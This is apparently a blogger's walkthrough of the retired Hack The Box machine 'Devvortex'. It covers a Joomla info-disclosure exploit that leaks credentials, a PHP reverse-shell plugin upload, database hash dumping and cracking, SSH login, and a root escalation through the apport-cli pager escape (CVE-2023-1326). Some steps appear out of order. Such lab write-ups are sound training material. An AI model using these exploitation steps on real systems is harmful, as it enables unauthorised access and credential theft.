This is my writeup for the Devvortex machine of hackthebox.com platform. The machine was retired today…so it’s now possible to publish a writeup. Remember this is just how I solved/owned the machine, maybe there are different and fast paths but…
It’s an easy machine and the path to follow is pretty straight forward (too much for HTB?). Remember to add the IP/Host in your /etc/hosts!
Recon
First of all I run a classic nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
nmap -sC -sV -p- devvortex.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-20 04:27 EDT
Nmap scan report for devvortex.htb (10.10.11.242)
Host is up (0.083s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)|256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)|_http-title: DevVortex
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.92 seconds
And let’s move to check the web server directories and subdomain (it’s usual in htb…)
ruby exploit.rb http://dev.devvortex.htb
Users
[649] lewis (lewis) - lewis@devvortex.htb - Super Users
[650] logan paul (logan) - logan@devvortex.htb - Registered
Site info
Site name: Development
Editor: tinymce
Captcha: 0
Access: 1
Debug status: false
Database info
DB type: mysqli
DB host: localhost
DB user: lewis
DB password: P4ntherg0t1n5r3c0n##
DB name: joomla
DB prefix: sd4fg_
DB encryption 0
Well, the exploit gave me a lot of info: the username/password of the admin, another user and a mysql login too.
I tried to login with the given username and password (lewis/P4ntherg0t1n5r3c0n##) and it' working:
joomla
Now I have several ways to start a reverse shell in PHP but, after further investigation, the only way is uploading a plugin. The themes way (uploading a PHP shell into the theme) is not possible, due to the file permission (just read).
To create a plugin for Joomla I found a good article, first of all I downloaded the reverse shell from Pentestmonkey and I changed IP/port of my listener of course. I renamed it shell.php.
The next step in order to create a Joomla plugin is creating an empty index.html file and the proper shell.xml file:
mysql -u lewis joomla -p
mysql -u lewis joomla -p
Enter password: P4ntherg0t1n5r3c0n##
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 231
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h'for help. Type '\c' to clear the current input statement.
mysql> show tables;
show tables;
+-------------------------------+
| Tables_in_joomla |
+-------------------------------+
| sd4fg_action_log_config |
...
| sd4fg_updates || sd4fg_user_keys || sd4fg_user_mfa || sd4fg_user_notes || sd4fg_user_profiles || sd4fg_user_usergroup_map || sd4fg_usergroups || sd4fg_users || sd4fg_viewlevels |
...
+-------------------------------+
71 rows in set(0.00 sec)
mysql> select * from sd4fg_users;;
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
| id | name | username | email | password | block | sendEmail | registerDate | lastvisitDate | activation | params | lastResetTime | resetCount | otpKey | otep | requireReset | authProvider |
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
|649| lewis | lewis | lewis@devvortex.htb |$2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |0|1| 2023-09-25 16:44:24 | 2024-04-20 10:21:08 |0|| NULL |0|||0|||650| logan paul | logan | logan@devvortex.htb |$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |0|0| 2023-09-26 19:15:42 | NULL ||{"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"}| NULL |0|||0||
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
2 rows in set(0.00 sec)
mysql>
Oh well, I found the hash of the other user logan. Let me check the /etc/passwd:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
logan:x:1000:1000:,,,:/home/logan:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
www-data@devvortex:/$ ls -ltra /home
ls -ltra /home
total 12
drwxr-xr-x 3 root root 4096 Sep 262023 .
drwxr-xr-x 19 root root 4096 Oct 26 15:12 ..
drwxr-xr-x 3 logan logan 4096 Nov 21 11:04 logan
The user logan has an account. Maybe…maybe…
I used hasesh.com in order to identify the correct hash type of $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 (logan’s hash):
1
$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 - tequieromucho - Possible algorithms: bcrypt $2*$, Blowfish (Unix)
Ops…the hash was cracked/solved.
1
2
3
4
5
6
7
8
9
10
11
ssh logan@devvortex.htb
logan@devvortex.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-167-generic x86_64)
...
Last login: Sat Apr 20 10:37:44 2024 from 10.10.14.56
logan@devvortex:~$ whoami
logan
logan@devvortex:~$ cat user.txt
57REDACTED74
user done!
Privilege Escalation
Let’s check if I have some sudo commands enabled…
1
2
3
4
5
6
7
8
9
10
11
12
logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli
logan@devvortex:~$ apport-cli --version
2.20.11
apport-cli? Let me check for CVE and…I found an X tweet explaining the CVE-2023-1326. Let’s try:
logan@devvortex:~$ touch /tmp/xxx.crash
logan@devvortex:~$ sudo apport-cli -c /tmp/xxx.crash less
*** Collecting problem information
The collected information can be sent to the developers to improve the
application. This might take a few minutes.
.....................
*** Send problem report to the developers?
After the problem report has been sent, please fill out the form in the
automatically opened web browser.
What would you like to do? Your options are:
S: Send report (1.6 KB)
V: View report
K: Keep report file for sending later or copying to somewhere else
I: Cancel and ignore future crashes of this program version
C: Cancel
Please choose (S/V/K/I/C): !
What would you like to do? Your options are:
S: Send report (1.6 KB)
V: View report
K: Keep report file for sending later or copying to somewhere else
I: Cancel and ignore future crashes of this program version
C: Cancel
Please choose (S/V/K/I/C): v
(write !/bin/bash)
root@devvortex:/home/logan#
So, I touched a xxx.crash, ran apport-cli, pressed ! , pressed v and wrote !/bin/bash…done
